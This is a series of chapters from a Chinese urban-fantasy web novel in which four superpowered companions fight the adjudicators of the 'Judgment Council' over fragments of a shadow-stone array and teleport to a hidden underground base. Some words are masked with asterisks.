夏艳玲被费勇的喊声惊醒,看到苏清月手臂上的透明伤口,小脸上瞬间涨得通红。“坏人!不准欺负姐姐!”她的愤怒像被点燃的**,情绪能量化作点点火星,顺着绿藤与影刃交织的轨迹飞去。那些火星刚接触到审判长的影子,就“轰”地一声燃起青蓝色的火焰,像点燃了浸满煤油的棉线。
时间停滞审判长的动作猛地一顿。他低头看向脚边燃烧的影子,脸上第一次露出难以置信的表情。那火焰明明是实体,却只在影子上燃烧,每舔舐一下,他的动作就僵硬一分,仿佛有只无形的手在扯动他的关节。
“这不可能……”审判长的声音失去了之前的从容,带着丝慌乱。他试图扩大时间停滞的范围,却发现能量像被戳破的气球般外泄——那些青蓝色的火焰正在吞噬他的时间能量。
费勇抓住这个机会,影界领域全力收缩,将所有暗影能量凝聚成把双刃剑。刃身一半缠绕着苏清月的绿藤,一半燃烧着夏艳玲的情绪之火,在半空中划出道绚丽的弧光,直劈审判长胸前的徽章。
“咔嚓”一声脆响,徽章上的沙漏图案被劈碎。审判长像被抽走了骨头,突然瘫软在地,周围的时间流速瞬间恢复正常。林悦的雷矛终于击中目标,带着万钧之势砸在另一名审判长的齿轮徽章上,将对方掀飞出去,撞碎了青禾堂的雕花窗棂。
“原来你们的异能真的靠装置!”林悦落地时顺势翻滚,躲开空间碎片的反击,雷电在她掌心滋滋作响,“裁决会的杂碎,全是些靠外物撑场面的废物!”
精神控制审判长见势不妙,突然拍掌发出刺耳的尖啸。费勇只觉脑海中一阵剧痛,无数混乱的画面涌进来——701研究所的白色走廊、浸泡在绿色液体里的人影、还有块嵌在墙壁里的黑色石头……这些画面快得像闪过的电流,却让他心脏猛地一缩。
“别被他干扰!”苏清月的绿藤及时缠上费勇的手腕,治愈能量顺着藤蔓注入他的脑海,像阵清凉的雨驱散了混沌,“他在读取你的记忆!”
夏艳玲的布娃娃不知何时跳到了精神控制审判长的肩上,用缝衣针狠狠扎向他的眼睛徽章。那徽章被扎中的瞬间,发出玻璃破碎的声音,审判长惨叫一声,捂着脑袋在地上打滚,嘴里胡乱喊着:“别过来……影子里的东西别过来……”
费勇趁机看向时间停滞审判长。那人正挣扎着想去捡掉在地上的核心石,却被脚上燃烧的影子牢牢钉在原地。他的风衣被火焰烧出洞,露出里面的黑色紧身衣,衣料上绣着密密麻麻的银色纹路,与核心石的纹路如出一辙。
“这
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些纹路是……”苏清月凑近一看,突然倒吸口凉气,“是影石阵的能量传导纹!你们把自己改造成了核心石的载体!”
时间停滞审判长的脸扭曲成一团,他死死盯着费勇:“判官大人会让你们付出代价……影石阵最终会属于裁决会……”他的话没说完,就被夏艳玲丢过来的布娃娃砸中脸。
布娃娃精准地落在核心石旁边,张开肚子上的口袋,像只等待喂食的小兽。核心石似乎感受到了什么,突然滚进布袋里,布娃娃立刻收紧口袋,蹦蹦跳跳地回到夏艳玲怀里,还得意地晃了晃脑袋。
“抓到咯!”夏艳玲抱着鼓鼓囊囊的布娃娃,小脸上满是胜利的喜悦,刚才的愤怒全变成了雀跃,“妹妹说这块石头很高兴。”
就在这时,空中的直升机突然传来判官冰冷的声音,像块石头砸进的湖面:“看来我的审判长们,连块石头都守不住。”
费勇抬头,看到直升机的舱门缓缓关闭,判官最后看了他一眼,眼神里没有愤怒,只有种近乎残忍的期待。紧接着,费勇感到一股熟悉的能量锁定了地上的时间停滞审判长——那是“绝对裁决”的标记能量。
“不好!他要灭口!”费勇想冲过去阻止,却见审判长的身体突然爆发出黑色的火焰,瞬间将其吞噬。在火焰熄灭的地方,只留下块烧熔的徽章,和一缕飘向直升机的黑烟。
林悦的脸色凝重起来,她的电场感知捕捉到远处传来的能量波动:“更多执法者来了,至少有一个营的规模。”她看向费勇怀里的核心石,“我们得马上走,这里不能待了。”
费勇捡起那枚烧熔的徽章,暗影能量注入后,徽章上浮现出残缺的地图——正是701研究所的内部结构。他将徽章塞进口袋,刚要说话,突然发现夏艳玲的布娃娃在发抖,口袋里的核心石发出滚烫的热量。
“它说……有东西跟着我们。”夏艳玲抱紧布娃娃,小手指向直升机消失的方向,“很坏很坏的东西。”
费勇的影界领域再次铺开,这一次,他清晰地“看”到一缕极细的黑色丝线,正从刚才审判长燃烧的地方升起,悄无声息地缠向布娃娃的影子。那丝线的能量波动,与判官手中的核心石碎片一模一样。
第162章:判官的远程裁决
那缕黑色丝线缠上布娃娃影子的瞬间,费勇突然感到掌心一阵灼痛。他低头看去,夏艳玲怀里的布娃娃正冒出黑烟,口袋里的核心石像块烧红的烙铁,表面浮现出暗红色的纹路——那纹路扭曲如锁链,赫然是判官“绝对裁决”的标记。
“小心!”苏清月的绿藤及时缠上布娃娃,荧光汁液遇上标记纹路,立刻腾起白雾。但那些暗红色纹路像有生命般,顺着藤蔓向上蔓延,所过之处,翠绿的叶片瞬间枯黑。“这标记在吞噬生命能量!”她咬着牙切断藤蔓,断口处渗出金色的液珠,那是她透支治愈力凝结的防护层。
林悦已经架起雷网,将涌到门口的执法者挡在外面。她的电流在接触到那些人的瞬间,竟诡异地变得迟缓——执法者的制服上,都绣着与审判长相似的银色纹路。“这群杂碎居然全员配备了时间装置!”她的发丝因愤怒根根倒竖,雷矛在掌心凝聚成刺眼的光球,“费勇,再不走我们就被包饺子了!”
费勇没动。他的影界领域正死死锁住那缕黑色丝线,能清晰地“看”到丝线的另一端连着直升机,判官的能量像墨汁滴入清水,正顺着丝线缓缓渗透进核心石。“想远程操控?没那么容易。”他突然伸手按住布娃娃,暗影能量顺着指尖注入,在核心石表面织成黑色的网,暂时阻隔了标记的蔓延。
“费勇,你父亲当年就是这样被我标记的。”直升机的扩音器里传来判官的冷笑,带着种猫捉老鼠的戏谑,“他抱着最后一块核心石冲进影界裂隙时,身上的标记像烟花一样炸开——你说,你会不会重蹈他的覆辙?”
这句话像把冰锥刺进费勇的心脏。他脑海中突然闪过那些混乱的画面:701研究所的手术台、父亲染血的白大褂、还有块在暗影中发光的石头……这些碎片以前总像隔着**玻璃,此刻却清晰得触目惊心。“你对我父亲做了什么?”他的声音发颤,暗影能量不受控制地暴涨,青石板上的影子都扭曲成狰狞的形状。
“做了什么?”判官的笑声里带着残忍的快意,“当然是帮他认清自己的定位——异能者就该被裁决,尤其是你这种继承了‘暗影本源’的怪物。”
话音未落,布娃娃口袋里的核心石突然发出刺耳的嗡鸣。那些暗红色的标记纹路猛地收缩,像收紧的绞索,紧接着“轰”地一声炸开!
冲击波将费勇掀飞出去,他撞在青禾堂的廊柱上,喉头一阵腥甜。影界领域在**中溃散,他能感觉到影子里的核心石正在震颤,像是在为同伴的毁灭而悲鸣。烟尘弥漫中,夏艳玲的哭声格外清晰——小姑娘死死抱着被炸得破破烂烂的布娃娃,娃娃的一条胳膊被炸飞,露出里面填充的稻草,上面沾着块闪烁金光的碎片。
“抓住它!”苏清月的喊声穿透烟尘。她被**掀翻在地,手臂上的停滞伤口因剧烈震动裂开,金色的光粒顺着伤口往外飘,但她的目光死死盯着那块碎片。
夏艳玲反应极快,哭着扑过去抱住布娃娃,同时张开小嘴,对着空中飘落的碎片猛地一吸。那块核心石碎片像被磁铁吸引,径直飞进她嘴里,小姑娘咕咚一声咽了下去,随即打了个带着金光的饱嗝。
“你……”追进来的执法者们都看呆了,手里的武器忘了发射。
更诡异的事情发生了。吞下碎片的布娃娃突然动了,它晃了晃破破烂烂的脑袋,断了的胳膊处冒出绿色的藤蔓,像接了条新的假肢。娃娃的纽扣眼睛里闪过金光,身上原本模糊的影石阵纹路,此刻变得清晰无比,甚至在胸口形成了个小小的花苞图案——与之前那张完整图纸上的标记一模一样。
“妹妹……不疼了。”夏艳玲摸着布娃娃的新胳膊,突然停止哭泣,小手指向还在地上抽搐的精神控制审判长,“他的影子里,有妹妹的碎片!”
众人循声望去,只见那审判长的影子扭曲成麻花状,在地面上蠕动,影中隐约嵌着块黑色的碎片,正随着他的抽搐闪烁微光。
“藏得够深啊。”费勇抹掉嘴角的血,暗影能量重新凝聚。刚才的**让他受了些伤,但更多的是愤怒——判官远程引爆核心石的行为,彻底点燃了他的怒火。“清月,帮我稳住影界。”
苏清月立刻会意,绿藤在地面上快速生长,织成张荧光网,将周围的影子都固定住,防止审判长的影子逃脱。“它在害怕。”她轻声说,能通过植物感知到那影子里的碎片在颤抖,“像被囚禁很久的小动物。”
林悦趁机发动攻击,雷网猛地收缩,将周围的执法者电得嗷嗷直叫。“别耽误时间,裁决会的大部队快到了!”她的电场感知捕捉到更强烈的能量波动,至少有两名审判长级别的人物正在靠近,“我来断后,你们速战速决!”
费勇没废话。他走到精神控制审判长身边,对方还在因徽章破碎而痛苦挣扎,嘴里胡乱喊着:“影子里的眼睛……在看我……别过来……”
“想知道影子里有什么?我让你看看清楚。”费勇冷笑一声,突然伸手按在审判长的头顶,同时触碰他的影子。暗影重构的复制能力发动,他感到一股混乱的精神能量涌入脑海,伴随着无数破碎的画面——701研究所的精神控制室、浸泡在营养液里的大脑、还有判官戴着白手套的手,正将一块核心石碎片嵌入某个实验体的影子里。
“原来你也是实验体。”费勇瞬间明白了。这些审判长根本不是自然觉醒的异能者,而是判官用影石阵碎片改造的工具,就像三长老那样的病毒容器。“把碎片交出来,饶你不死。
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”
精神控制审判长突然狂笑起来,笑得眼泪都流了出来:“交出去?判官大人说了,我们这些失败品,只有死路一条!”他猛地抬头,眼睛里布满血丝,“你以为我不知道你的计划?你想集齐核心石复活那个女人,做梦!”
这句话让费勇心头一震。复活哪个女人?难道与父母失踪有关?
就在他分神的瞬间,审判长突然引爆了自己的精神能量!他的身体像气球一样膨胀,影子里的那块碎片猛地射出黑光,直刺夏艳玲!
“小心!”林悦的雷矛及时赶到,撞开了那道黑光。但审判长的影子在**中化作无数黑丝,像章鱼的触手般缠向费勇。
费勇反应极快,影刃横扫,切断了大部分黑丝,但仍有一缕缠住了他的手腕。就在接触的瞬间,他的影子突然剧烈波动,一个模糊的女性身影在影中一闪而过——那身影穿着白大褂,手里捧着块发光的石头,笑容温柔又悲伤。
“妈?”费勇失声喊道。
这短暂的失神给了黑丝可乘之机,它们顺着他的手臂往上爬,眼看就要缠上他的脖颈。千钧一发之际,夏艳玲的布娃娃突然扑过来,用新长的藤蔓缠住那些黑丝,娃娃胸口的花苞图案射出金光,将黑丝灼烧殆尽。
“妹妹说……那是坏人的能量。”夏艳玲抱着布娃娃,小脸严肃得像个小大人。
**的烟尘散去,精神控制审判长已经消失,只在地上留下个黑色的印记。费勇的影子里,那块核心石碎片的位置隐隐发烫,刚才那个一闪而过的身影,让他心脏狂跳——那一定是母亲!判官知道父母的秘密!
“我们真的该走了!”林悦的声音带着焦急,她的雷网正在被外面的能量攻击腐蚀,“是空间切割审判长来了,他的碎片能切开我的雷电!”
费勇深吸一口气,将杂念压下去。他看向夏艳玲怀里的布娃娃,娃娃正用藤蔓卷着块黑色碎片递过来——正是从精神控制审判长影子里逼出来的那块。“艳玲,收好它。”他摸了摸小姑娘的头,“我们去701研究所,那里一定有答案。”
苏清月已经用绿藤清理出一条通往后门的路,她的脸色有些苍白,但眼神坚定:“爷爷的日记里说,701研究所的地下三层,有影石阵的初始设计图。”
费勇最后看了眼青禾堂,这里刚刚经历过两场大战,满地狼藉,但那些被三长老摧残的植物,此刻正从石缝里冒出新芽。他突然想起三长老临死前的话,想起判官对父亲的所作所为,一股前所未有的决心在心中升起。
“走。”他转身踏入绿藤通道,影子在身后拉长,与苏清月的绿藤、林悦的雷电、夏艳玲布娃娃的金光交织在一起,形成一道奇特的光带,“去揭穿他们的阴谋。”
第163章:影藤陷阱的绝杀
青禾堂后巷的石板路被绿藤撑起道道拱廊,苏清月的治愈汁液在藤蔓上凝成露珠,折射着从树叶缝隙漏下的阳光。费勇盯着巷口那团不断扭曲的影子,指尖的暗影能量正与刚复制的绿藤异能激烈碰撞,在掌心形成道黑绿交织的气旋。
“来了。”林悦的声音压得极低,她的雷矛在掌心转了个圈,电流顺着地面的水洼蔓延,在巷口织成张隐形电网。刚才的短暂交锋让她摸清了规律——空间切割审判长每次发动能力,都会先让影子变得像碎玻璃般透明。
话音未落,巷口的空气突然“咔嚓”作响,像被无形的刀切成无数碎片。空间切割审判长的身影从碎片中浮现,他的风衣上绣着的齿轮图案正高速转动,每转一圈,周围的墙壁就会多出一道平滑的切口。“判官说了,留活口。”他的声音像生锈的铰链在摩擦,目光扫过费勇时顿了顿,“尤其是你,暗影本源的继承者。”
费勇没接话。他的影界领域早已铺开,清晰地“看”到对方影子里嵌着的核心石碎片——那碎片比精神控制审判长的更大,正随着齿轮转动发出微光。“清月,准备。”他突然将掌心的气旋拍向地面,暗影能量与植物能量瞬间融合,化作无数黑绿相间的藤条,像群嗅到血腥味的蛇,顺着地面的影子缠向审判长的脚踝。
空间切割审判长嗤笑一声,抬手挥出三道空间刃。刃风切开空气时发出尖啸,眼看就要斩断影藤,苏清月突然咬破指尖,将血珠滴在绿藤上。“生命共鸣!”她轻声喝道,那些影藤突然加速生长,在半空中编织成面盾牌,空间刃斩在盾上,只留下几道浅浅的白痕。
“植物与暗影的融合?有点意思。”审判长的齿轮转得更快了,周围的空间开始剧烈波动,连光线都被切割成扭曲的线条,“可惜,在绝对的空间力量面前,任何防御都是徒劳。”
他的影子突然膨胀,化作无数锋利的碎片,朝着影藤反卷过来。费勇早有准备,影藤猛地收缩,将审判长的影子死死缠住,那些空间碎片刚接触到影藤,就像陷入泥沼般慢了下来——苏清月的生命能量正在中和空间切割的特性。
“这是你教我的。”费勇缓步走到审判长面前,暗影能量顺着影藤注入对方的影子,“影子受创,本体也会痛苦。”他猛地握紧拳头,影藤瞬间收紧,发出类似骨骼摩擦的脆响。
空间切割审判长的脸色第一次变得难看,他的关节处渗出冷汗,原本流畅的动作出现了迟滞。“不可能……空间异能怎么会被……”他的话没说完就被痛呼取代,影藤勒紧的地方,他的皮肤竟出现了与影子同步的勒痕,像被无形的线紧紧捆住。
“因为你依赖的根本不是异能,是核心石碎片。”苏清月的声音带着冷意,她的绿藤顺着影藤往上爬,叶片上的荧光汁液在审判长的影子上画出复杂的纹路,“这些纹路能阻断碎片与你身体的连接,就像拔掉机器的电源。”
审判长的齿轮图案突然停止转动,他惊恐地低头,看到自己的影子正在融化,那枚核心石碎片像沉在水里的石头,正缓缓从影中浮出。“判官大人不会放过你们的!”他疯狂地挣扎,空间碎片在周围乱舞,却怎么也挣脱不了影藤的束缚。
“现在该关心你自己了。”费勇冷笑一声,影藤再次收紧。这次,他清晰地感觉到触碰到了某个坚硬的物体——正是那块核心石碎片。他正要伸手去取,夏艳玲突然喊道:“小心!他影子里有刺!”
众人看去,只见审判长的影子突然冒出无数黑色尖刺,朝着影藤反刺过来。费勇反应极快,立刻操控影藤避开,但还是有几根被尖刺切断,化作黑烟消散。“这是……自爆前的能量暴走?”苏清月脸色微变,“他想毁掉碎片!”
“没那么容易。”夏艳玲怀里的布娃娃突然跳了下来,它胸口的花苞图案绽放开来,露出里面的金色光蕊。娃娃顺着影藤一路小跑,纽扣眼睛里红光闪烁,在靠近碎片的瞬间猛地扑了上去,张开双臂抱住那块碎片。
“抓到啦!”夏艳玲拍手欢呼,布娃娃抱着碎片跳回她怀里,娃娃的眼睛亮得像两盏小红灯,身上的影石阵纹路又清晰了几分,甚至在背后形成了对小小的翅膀轮廓。
空间切割审判长失去碎片的支撑,身体像泄了气的气球般萎缩下去,风衣下露出的皮肤布满了与影石阵纹路一致的疤痕。“原来……我们都是……容器……”他喃喃自语,眼神变得涣散。
就在这时,费勇突然感到强烈的危机感。他的影界领域捕捉到一股极其不稳定的能量——审判长的影子正在急速膨胀,里面积蓄的空间能量像即将**的**桶。“不好!他要自爆!”
“快躲开!”林悦的雷网瞬间铺开,将费勇三人护在后面。苏清月的绿藤疯长,在前方织成道厚厚的墙壁。夏艳玲把布娃娃紧紧抱在怀里,情绪能量化作层金色的护盾,笼罩住三人。
费勇的反应更快,他展开影界领域将所有人罩在其中,同时将暗影能量压缩到极致,形成道黑色的屏障。“清月,用生命能量强化领域!”
苏清月立刻照做,绿藤顺着领域的边缘生长,将生命能量注入其中。奇妙的事情发生了——原本纯黑的领
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域突然泛起绿光,那些因能量冲击而不规则跳动的影子,在绿光的安抚下竟渐渐平稳下来,只是跳动的频率变得极快,像被按下快进键的钟摆。
“轰——!”
空间切割审判长的身体爆发出刺眼的白光,空间碎片形成的冲击波像海啸般席卷四周。青禾堂的后墙被震出个大洞,碎石和木屑在领域外飞舞,却怎么也突破不了那层黑绿相间的屏障。
费勇死死维持着领域,他能感觉到冲击波撞在屏障上的力量,每一次撞击都让他的气血翻涌。但更让他惊讶的是领域内的变化——苏清月的绿藤在几秒内经历了从枯萎到重生的全过程,像快放的植物生长视频;林悦的雷矛上的电流闪烁速度快得成了条光带;连夏艳玲飘动的发丝都变得像条模糊的线。
“时间流速……在加快?”苏清月喃喃道,她看着自己手臂上的停滞伤口,原本需要几天才能修复的伤势,此刻竟以肉眼可见的速度在愈合,金色的光粒不断从伤口处冒出,又迅速融入皮肤。
**的白光散去后,空间切割审判长已经消失,原地只留下个深不见底的黑洞,周围的空间还在微微扭曲,像块被打碎又勉强粘起来的玻璃。费勇撤去领域,腿一软差点摔倒,复制异能的反噬和维持领域的消耗让他眼前发黑。
“你怎么样?”苏清月立刻扶住他,绿藤缠绕上他的手腕,治愈能量源源不断地注入,“反噬很严重,你需要休息。”
“先离开这里。”林悦警戒地看着黑洞,她的电场感知捕捉到黑洞里传来微弱的能量波动,“这东西不稳定,随时可能再次爆发。而且……裁决会的大部队应该快到了。”
费勇点点头,接过夏艳玲递来的布娃娃——娃娃正抱着新得到的碎片,在他手心蹭了蹭,像在安慰他。他看着娃娃背后那对小小的翅膀轮廓,突然想起精神控制审判长的话,心脏又是一阵抽痛。
“走吧,去701。”他深吸一口气,暗影能量重新凝聚,在前方开路,“不管判官和我父母之间有什么恩怨,不管影石阵的秘密是什么,到了那里,总能找到答案。”
苏清月扶着他,绿藤在前方探路,叶片偶尔会停下来,似乎在感知着什么。林悦断后,雷矛在手中蓄势待发,警惕地观察着四周。夏艳玲抱着布娃娃,亦步亦趋地跟在费勇身边,小脸上没有了之前的惊慌,只有与年龄不符的坚定。
四人的影子在夕阳下拉得很长,渐渐融合在一起,像条通往未知的黑色道路。而在他们身后,那个空间黑洞里,隐约有什么东西在闪烁,像只窥视着猎物的眼睛。
第164章:青禾堂的紧急撤离
费勇的影子突然像被投入石子的水面般剧烈波动,他踉跄着扶住苏清月的肩膀,才勉强站稳。刚才自爆产生的空间黑洞还在不远处扭曲,而更诡异的是周围的光线——阳光透过树叶的光斑在地面上忽明忽暗,像坏掉的幻灯机,每一次明暗交替,都伴随着空气里细微的噼啪声。
“你的手!”苏清月突然抓住他的手腕,声音里带着惊慌。费勇低头看去,自己的手背竟泛起一层细密的皱纹,像瞬间老了十岁,但下一秒,那些皱纹又像潮水般褪去,恢复成原本的模样。
“时间在跳。”林悦的声音从身后传来,她正举着雷矛警惕四周,矛尖的电流不再是稳定的电弧,而是断断续续地闪烁,“我的电场感知乱成一锅粥,执法者的能量信号忽远忽近,像是在……重复出现?”
话音未落,巷口突然传来执法者的呐喊声,脚步声由远及近。林悦立刻摆出防御姿态,却见那些身影冲到巷口时,突然像电视雪花般模糊,接着竟**着消失了,只留下几句意义不明的残响。
“这是……时间回溯?”苏清月脸色煞白,她蹲下身,指尖的绿藤刚触碰到地面,就以肉眼可见的速度发芽、开花、枯萎,整个过程不过三秒钟,“影界领域吸收了自爆的时间能量,现在变成了个不稳定的时间漩涡。”
夏艳玲突然“呀”了一声,指着自己的布娃娃。那娃娃背后刚长出的小翅膀,此刻正以极快的速度扇动着,扇着扇着突然停滞在空中,像被按下暂停键,几秒钟后又猛地恢复运动,翅膀上甚至多了几片新羽毛。
“妹妹说它好累。”夏艳玲把布娃娃抱得更紧,小姑娘的头发刚才还齐肩,此刻竟莫名长到了腰间,发梢还带着新鲜的光泽,“我的头发……”
众人这才注意到时间紊乱的影响已经扩散到身上。费勇的伤口在快速愈合和撕裂间反复,苏清月的白大褂袖口出现了磨损又复原的痕迹,林悦的警徽甚至闪烁着十年前的旧样式光泽。
“再不走,我们会被时间撕碎。”苏清月的声音带着颤抖,她从口袋里掏出爷爷的日记,快速翻到某一页,“爷爷记载过这种情况!青禾堂的密室下面有个紧急传送阵,用荧光藤的汁液绘制,能借助植物的生命能量稳定空间坐标。”
“密室?刚才**把后墙炸穿了,正好能通到前院的密室入口。”林悦立刻做出判断,雷矛在掌心转了个圈,“我开路,你们跟上!”
她率先冲出绿藤拱廊,雷网在头顶展开,将那些不规则闪烁的空间碎片挡开。费勇扶着苏清月紧随其后,夏艳玲抱着布娃娃小跑着跟在旁边,娃娃的眼睛红光闪烁,似乎在感知着什么。
穿过被炸穿的后墙,青禾堂前院的景象让人头皮发麻。原本整齐的药圃此刻一半是枯枝败叶,一半却开满了不合时宜的鲜花,中间还夹杂着几株正在快速生长的幼苗,泥土里甚至能看到蚯蚓被时间加速分解的残影。
“这边!”苏清月指向假山后的石门,她的绿藤顺着地面蔓延过去,在石门上画出复杂的纹路。石门应声而开,露出里面幽深的密室通道,通道壁上镶嵌的夜明珠忽明忽暗,光线在墙壁上投下扭曲的影子。
进入密室后,时间紊乱的现象稍微缓解,但仍能感觉到周围的空气在轻微震颤。苏清月没有耽搁,立刻让费勇点燃带来的荧光藤汁液,她则跪在地上,用指尖蘸着汁液,在密室中央的地面上快速绘制传送阵。
“阵眼需要三种能量注入:暗影、生命、情绪。”她头也不抬地说,笔尖划过的地方亮起柔和的绿光,“费勇,你的暗影能量最稳定,你来守阵眼;艳玲,把你的喜悦能量注入东边的符文;我来负责生命能量的流转。”
费勇依言走到阵眼处,将手掌按在地面上。暗影能量顺着掌心注入,与荧光汁液产生共鸣,阵眼处立刻浮现出黑色的纹路,与绿光交织成太极图案。夏艳玲抱着布娃娃走到东边,小姑娘想了想,笑着说:“妹妹今天抓到了两块碎片,好开心呀!”
随着她的话语,布娃娃胸口的花苞再次绽放,金色的光粒飘向地面的符文,那些符文立刻亮起温暖的红光。苏清月则站在阵法中央,双手结印,密室角落里种植的药草突然疯长,藤蔓顺着阵法的纹路攀爬,将生命能量源源不断地注入其中。
“还差最后一步……”苏清月额头上渗出细汗,她的生命能量消耗巨大,脸色有些苍白,“林悦,你用雷电能量在阵法边缘布层防护,别让外界的时间能量干扰……”
她的话没说完,密室入口突然传来剧烈的**声。林悦反应极快,雷网瞬间铺开挡在入口处,但还是有几块碎石冲破防御,砸向传送阵——其中一块
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正好落在西边的符文上,将那部分图案砸得粉碎。
“不好!”苏清月惊呼,传送阵的光芒瞬间变得不稳定,绿光和黑光开始冲突,阵眼处甚至冒出了细小的电火花,“西边的空间坐标被破坏了!这样传送会被抛到随机地点!”
众人的心瞬间沉了下去。就在这时,林悦挂在脖子上的雷电防护符突然发烫,她下意识地扯下符纸,只见符纸上闪过一道蓝光,接着竟自动飘向传送阵,贴在了被砸坏的符文上。
更神奇的事情发生了。符纸上的雷电纹路与传送阵的符文产生共鸣,蓝光顺着阵法蔓延,竟将被破坏的部分修复完整,只是修复后的符文闪烁着电光,与其他部分的绿光形成鲜明对比。
“这是……”林悦愣住了,她认出这枚防护符是父亲留给她的遗物,据说里面封存着初代雷电异能者的能量,“它怎么会……”
符纸上突然浮现出一行金色的小字,像是用雷电刻上去的:“我在化工厂留了后手,传送坐标已修正。”字迹停留了几秒,便随着符纸的燃烧化作灰烬,融入传送阵中。
“是林叔叔的能量残留!”苏清月又惊又喜,“他早就预料到会有这一天!”
林悦的眼眶有些发热,她抹了把脸,重新展开雷网:“别愣着了!执法者已经进来了,快启动传送阵!”
密室入口处传来执法者的嘶吼声,伴随着空间碎片切割空气的尖啸。费勇不再犹豫,将体内的暗影能量全力注入阵眼,苏清月和夏艳玲也同时加大能量输出。
传送阵的光芒越来越亮,绿、黑、红、蓝四色光芒交织在一起,形成道耀眼的光柱。就在光柱即将冲天而起的瞬间,费勇无意间抬头,透过密室顶部的通风口,看到了令人心惊的一幕——
判官的直升机正悬停在青禾堂上空,舱门大开,一只覆盖着黑色甲胄的手伸了出来,五指张开,似乎想抓住什么。而那只手的正下方,正是夏艳玲怀里的布娃娃,娃娃背后的小翅膀此刻正不受控制地扇动着,像是被某种力量吸引。
“抓紧了!”费勇大喊一声,将夏艳玲揽入怀中。苏清月和林悦也立刻靠近,四人的手紧紧握在一起。
光柱彻底爆发,吞噬了整个密室。在意识消失的最后一刻,费勇仿佛听到了判官冰冷的笑声,还有布娃娃发出的一声尖锐的鸣叫。
第165章:林悦的秘密基地
传送阵的光柱散去时,费勇感觉像是被塞进滚筒洗衣机甩了十分钟,胃里翻江倒海。他扶着冰冷的墙壁蹲下身,看到自己的影子在地面上晃了晃,竟短暂**成三个重叠的残影——显然是时间紊乱带来的后遗症。
“这是……地铁站?”苏清月的声音带着疑惑。费勇抬头望去,发现他们正站在一条废弃的站台里,斑驳的墙壁上还贴着十年前的地铁线路图,角落里堆积着生锈的广告牌,空气中弥漫着潮湿的尘土味。
夏艳玲突然指着站台尽头:“那里有光!”众人循声望去,只见黑暗中隐约有手电光晃动,伴随着金属摩擦的“咔哒”声。林悦立刻将雷矛横在胸前,压低声音说:“保持警惕,可能是裁决会的埋伏。”
费勇的影界领域悄然铺开,触角般的暗影能量探向光源处,反馈回来的信息让他愣了愣:“是林悦?”
话音未落,一个熟悉的身影从黑暗中走出,正是林悦。她穿着便于行动的黑色作战服,脸上还沾着点灰尘,看到他们时明显松了口气,抬手抹了把脸,结果把灰抹得更均匀了:“你们可算到了,我还以为传送阵跑偏到外太空了。”
“你怎么会在这里?”苏清月惊讶地问,她注意到林悦手里拿着个小巧的控制器,刚才的“咔哒”声应该是她在操作什么机关。
“这是我爸留下的秘密基地。”林悦按下控制器上的按钮,站台侧面的墙壁突然缓缓移开,露出里面别有洞天的空间——那是个被改造成**库的地下掩体,货架上整齐地摆放着各种异能武器,墙上挂着城市地图,上面用红笔标注着密密麻麻的标记,角落里还有台正在运行的监控设备,屏幕上分割出十几个画面。
夏艳玲抱着布娃娃跑过去,好奇地戳了戳货架上的能量**,被林悦眼疾手快地拍开:“别碰那个,炸了能把这掩体掀上天。”小姑娘吐了吐舌头,转而研究起监控屏幕,突然指着其中一个画面说:“那些穿黑衣服的在找我们!”
众人凑过去一看,屏幕上正是裁决会的执法者在全城搜捕的画面,他们拿着印有四人样貌的通缉令,挨家挨户地排查,画面角落还滚动着一行字:“全球追杀令:悬赏捉拿持有影石阵碎片者,死活不论。”
“判官这是急了。”费勇冷笑一声,他走到地图前,看到701研究所的位置被画了个醒目的红圈,旁边还标注着“影石阵”三个字,“你早就知道我们要去701?”
“猜的。”林悦递给他们每人一瓶能量饮料,“特调科的内鬼被我清理得差不多了,从他们的通讯记录里截获了不少信息,裁决会最近在701研究所动作频繁,好像在准备什么大动作。”她顿了顿,语气沉了下来,“而且,我爸的日记里提到过,701研究所的地下三层,有关于‘觉醒潮’的核心数据。”
苏清月若有所思地说:“我爷爷的日记里也提到过这个地方,说那里藏着影石阵的初始设计图。”
“看来701是必须去一趟了。”费勇的手指在地图上敲了敲,目光落在屏幕上的通缉令上,“不过现在的问题是,我们怎么在全城搜捕的情况下潜入研究所?”
“别急,我这几天没闲着。”林悦调出监控设备里的加密文件,“我黑进了裁决会的数据库,发现他们的搜捕主要集中在市中心,郊区的化工厂一带防守相对薄弱,而那里有一条废弃的地下管道,能直通701研究所的外围。”
夏艳玲突然指着监控屏幕的某个角落:“那个叔叔在流血!”众人看去,只见其中一个监控画面里,风行者正带着几个穿着同样制服的人在化工厂附近与执法者激战。他的胳膊受了伤,鲜血浸透了衣袖,但动作依旧迅猛,超音速移动时留下的残影让执法者根本抓不住他。
“是破晓的人!”费勇认出了他们的制服,那是神秘组织“破晓”的标志,“风行者怎么会在这儿?”
林悦快速切换画面,调出风行者所在区域的监控:“他们好像是从化工厂逃出来的,后面追着不少
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执法者,看样子是被包围了。”她看了费勇一眼,“要去救他们吗?”
费勇没有犹豫:“去。”他的暗影能量在指尖凝聚成影刃,又散去,“风行者知道的肯定比我们多,而且,都是对抗裁决会的,没理由见死不救。”
苏清月拿出医疗包:“我准备些应急的疗伤药剂,风行者的伤势看起来不轻。”夏艳玲则把布娃娃放在监控台上,娃娃的眼睛红光闪烁,似乎在感知风行者那边的情况,小姑娘突然说:“那个飞很快的叔叔在想,老鬼给的东西不能丢。”
“老鬼?”费勇心中一动,老鬼是破晓的情报负责人,也是星海学院的图书馆管理员,一直暗中守护着他,“他给了风行者什么?”
没人能回答这个问题,监控画面突然剧烈晃动了一下,接着所有屏幕都被一个画面覆盖——判官那张没什么表情的脸占据了整个屏幕,他似乎能透过监控看到他们,嘴角勾起一抹冰冷的弧度:“费勇,想救他?来城东的能量塔。”
画面瞬间黑了下去,监控设备发出刺耳的警报声,显然是被判官远程入侵了。林悦快速操作键盘,试图夺回控制权,额头上渗出细汗:“该死,他锁住了系统!”
费勇的脸色沉了下来,他走到窗边,看向城东的方向,那里隐约能看到一座高耸的塔状建筑,顶端闪烁着诡异的红光。“这是陷阱。”他说,语气却带着不容置疑的决心,“但我们必须去。”
林悦停止了徒劳的操作,关掉警报声:“我去准备车辆和武器,能量塔周围的防御肯定很严密。”苏清月把整理好的医疗包背在身上:“我会尽量保证大家的状态,能量塔听起来就不是什么好地方。”夏艳玲把布娃娃抱起来,认真地说:“妹妹说它能帮忙。”
四人对视一眼,虽然知道前路凶险,但眼神中都没有退缩。林悦的秘密基地里,货架上的异能武器在灯光下闪烁着冷光,墙上的地图仿佛变成了真正的战场,而他们,即将踏入新的风暴中心。
第166章:能量塔的诱饵
